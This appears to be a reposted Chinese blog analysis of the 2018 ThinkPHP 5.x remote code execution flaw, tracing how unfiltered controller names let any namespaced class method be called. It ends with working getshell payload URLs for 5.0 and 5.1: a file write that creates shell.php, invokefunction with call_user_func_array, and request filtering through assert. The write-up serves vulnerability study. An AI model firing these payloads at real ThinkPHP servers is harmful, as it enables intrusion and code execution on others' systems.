热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

thinkphp5.x任意代码执行(GetShell)分析

2018-12-10ThinkPHP5系列发布安全更新,该安全更新修复了一处严重漏洞,该漏洞可导致(

0x01: 漏洞简介

2018-12-10 ThinkPHP5系列发布安全更新,该安全更新修复了一处严重漏洞,该漏洞可导致(php/系统)代码执行。

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

本文转载自先知社区,原文作者:水泡泡 https://xz.aliyun.com/t/3570

0x02: 影响范围

ThinkPHP 5.x

5.1.x ~ 5.1.31

5.0.x ~ 5.0.23

0x03: 漏洞原理

结合官方公告说的由于对控制器名没有足够的检测,再查看官方git commit信息

thinkphp 5.x任意代码执行(GetShell)分析

拉一个tp下来,用的是tp 5.1.29的版本,windows+phpstudy 一把梭,搭建好环境。

在官方修改的地方加断点(thinkphp\library\think\route\dispatch\Module.php),加载默认的控制器来分析。

http://127.0.0.1/index.php/index/index/index

命中断点

thinkphp 5.x任意代码执行(GetShell)分析

一步步跟进controller的走向,发现在同文件下的 exec函数,实例化控制器

thinkphp 5.x任意代码执行(GetShell)分析

跟进controller方法,thinkphp\library\think\App.php

thinkphp 5.x任意代码执行(GetShell)分析

使用parseModuleAndClass方法来解析,继续跟进

thinkphp 5.x任意代码执行(GetShell)分析

分析一下代码,发现会有一个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。

此处没有包含,所以会进入下面的判断,最后使用parseClass来解析,跟进parseClass函数

thinkphp 5.x任意代码执行(GetShell)分析

发现经过parseName之后index变成了首字母大写,原因是经过了命名风格转换。

thinkphp 5.x任意代码执行(GetShell)分析

最后会将命名空间类名等进行拼接

thinkphp 5.x任意代码执行(GetShell)分析

返回我们带命名空间的完整类名。

thinkphp 5.x任意代码执行(GetShell)分析

跟进,回到了controller方法,此时判断类是否存在,不存在会触发自动加载类。

thinkphp 5.x任意代码执行(GetShell)分析

之后就是实例化类,使用反射来调用类的相应方法了。(偷懒省略掉了,主要是介绍一下分析的主要过程)

大概流程摸清楚了,那么这个漏洞是怎么触发的呢?

在跟踪的时候我们发现,类名都是带有完整的命名空间的,而命名空间恰好就是使用反斜杠来划分,结合那一个判断代码:反斜杠是否存在,直接返回类名的操作。

不难想到是可以调用任意类的方法。

比如这样?

http://127.0.0.1/index.php/index/think\app/index

请求一下,发现报错了。

thinkphp 5.x任意代码执行(GetShell)分析

what the fuck? 我的反斜杠怎么变成了正斜杠了?而且这个控制器怎么获取的是Think?

猜测是浏览器的原因,用bp发包一样如此,那么还有没有其他方法可以获取到呢?

翻了一下tp的配置文件

thinkphp 5.x任意代码执行(GetShell)分析

发现可以使用s来获取参数,那么我们就可以尝试这样请求

http://127.0.0.1/index.php?s=/index/think\app/index

成功实例化了App类,因为没有index 方法所以这里会报错。

thinkphp 5.x任意代码执行(GetShell)分析

但已经验证了整个漏洞的原理。

控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。

http://127.0.0.1/index.php?s=/index/namespace\class/method

漏洞点找到了,那么接下来就是找利用点了。

0x04: 漏洞利用

tp 5.1.29 简单找了个写 shell 的方法,看到thinkphp\library\think\template\driver\File.php 文件

thinkphp 5.x任意代码执行(GetShell)分析

有一个完美的写shell方法。

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&cOntent=%3C?php%20phpinfo();?%3E

执行之后会在根目录下写入shell.php ,内容是输出phpinfo();

thinkphp 5.x任意代码执行(GetShell)分析

那么tp 5.0要怎么利用呢??接下来就是踩坑之旅了。

0x05: 无尽的踩坑

把tp 5.1的payload,拉过去打一发,发现报错了,控制器不存在??

thinkphp 5.x任意代码执行(GetShell)分析

猜测是5.0和5.1的文件可能不一样,打开一看,都一样啊,怎么加载不了。

thinkphp 5.x任意代码执行(GetShell)分析

上断点,跟踪。此处省略一万字。

跟踪半天发现类加载器有这么一行代码。位置: thinkphp\library\think\Loader.php 方法 autoload

thinkphp 5.x任意代码执行(GetShell)分析

以及一开始的获取控制器的时候 会判断是否自动转换控制器,将控制器名变成小写。

thinkphp 5.x任意代码执行(GetShell)分析

而这个url_convert配置项默认是true。

thinkphp 5.x任意代码执行(GetShell)分析

而我们的类文件名是大写的。

thinkphp 5.x任意代码执行(GetShell)分析

那么在win下,由于严格区分大小写,所以必然不会加载到相应的类文件。

thinkphp 5.x任意代码执行(GetShell)分析

(图中判断,由于IS_WIN为True,!IS_WIN必为False,逻辑与,一个为False条件就成立。)

虽然最终由于绑定参数的问题导致该方法依然不可以用(这个问题就不展开分析了)

thinkphp 5.x任意代码执行(GetShell)分析

但是这个win环境的问题确实卡了我很久。

也难怪别人的payload都是这样那样的,原来是 linux 的环境,可以加载的类多了不少。

最终也导致5.0的自己没有找到利用的类。

0x05: 兼容多平台的payload

综上,由于Windows的原因,所以有一些payload在windows的主机上是不可以利用的。

那么哪些payload是可以兼容多个平台呢?

由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。

5.1是下面这些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\COOKIE
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)

所以,payload为上述类的利用方法,是可以兼容windows和linux多个平台的,兼容多个平台有什么用呢?插件批量可以减少误判等,一条payload通用,一把梭多好。比如:

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&cOntent=

5.0.x php版本>=5.4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

0x06: 总结

至此,算是把整个漏洞分析记录讲完了,和p喵呜聊的时候,他也是被win坑的老惨。

所以珍惜生命,远离windows xd。

还有就是自己太菜了,给各位大佬递头。

参考文章:

https://www.anquanke.com/post/id/167653

https://xz.aliyun.com/t/3570


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 我们


推荐阅读
  • Vulnhub DC3 实战记录与分析
    本文记录了在 Vulnhub DC3 靶机上的渗透测试过程,包括漏洞利用、内核提权等关键步骤,并总结了实战经验和教训。 ... [详细]
  • 调试利器SSH隧道
    在开发微信公众号或小程序的时候,由于微信平台规则的限制,部分接口需要通过线上域名才能正常访问。但我们一般都会在本地开发,因为这能快速的看到 ... [详细]
  • 深入解析Unity3D游戏开发中的音频播放技术
    在游戏开发中,音频播放是提升玩家沉浸感的关键因素之一。本文将探讨如何在Unity3D中高效地管理和播放不同类型的游戏音频,包括背景音乐和效果音效,并介绍实现这些功能的具体步骤。 ... [详细]
  • 本文介绍了如何在AngularJS应用中使用ng-repeat指令创建可单独点击选中的列表项,并详细描述了实现这一功能的具体步骤和代码示例。 ... [详细]
  • 默认情况下,Git 使用 Nano 编辑器进行提交信息的编辑,但如果您更喜欢使用 Vim,可以通过简单的配置更改来实现这一变化。本文将指导您如何通过修改全局配置文件来设置 Vim 作为默认的 Git 提交编辑器。 ... [详细]
  • 解决Win10 1709版本文件共享安全警告问题
    每当Windows 10发布新版本时,由于兼容性问题往往会出现各种故障。近期,一些用户在升级至1709版本后遇到了无法访问共享文件夹的问题,系统提示‘文件共享不安全,无法连接’。本文将提供多种解决方案,帮助您轻松解决这一难题。 ... [详细]
  • 在Android应用开发过程中,开发者经常遇到诸如CPU使用率过高、内存泄漏等问题。本文将介绍几种常用的命令及其应用场景,帮助开发者有效定位并解决问题。 ... [详细]
  • 本文详细介绍了如何在Oracle VM VirtualBox中实现主机与虚拟机之间的数据交换,包括安装Guest Additions增强功能,以及如何利用这些功能进行文件传输、屏幕调整等操作。 ... [详细]
  • JUnit下的测试和suite
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 入门指南:使用FastRPC技术连接Qualcomm Hexagon DSP
    本文旨在为初学者提供关于如何使用FastRPC技术连接Qualcomm Hexagon DSP的基础知识。FastRPC技术允许开发者在本地客户端实现远程调用,从而简化Hexagon DSP的开发和调试过程。 ... [详细]
  • Android与JUnit集成测试实践
    本文探讨了如何在Android项目中集成JUnit进行单元测试,并详细介绍了修改AndroidManifest.xml文件以支持测试的方法。 ... [详细]
  • PHP面试题精选及答案解析
    本文精选了新浪PHP笔试题及最新的PHP面试题,并提供了详细的答案解析,帮助求职者更好地准备PHP相关的面试。 ... [详细]
  • 【小白学习C++ 教程】二十三、如何安装和使用 C++ 标准库
    【小白学习C++ 教程】二十三、如何安装和使用 C++ 标准库 ... [详细]
  • C#中调用OpenCTM打开.obj三维模型文件
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • Kafka入门指南
    本文将详细介绍如何在CentOS 7上安装和配置Kafka,包括必要的环境准备、JDK和Zookeeper的配置步骤。 ... [详细]
author-avatar
榴莲牛奶
这个家伙不是很懒,但是也没留下什么!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有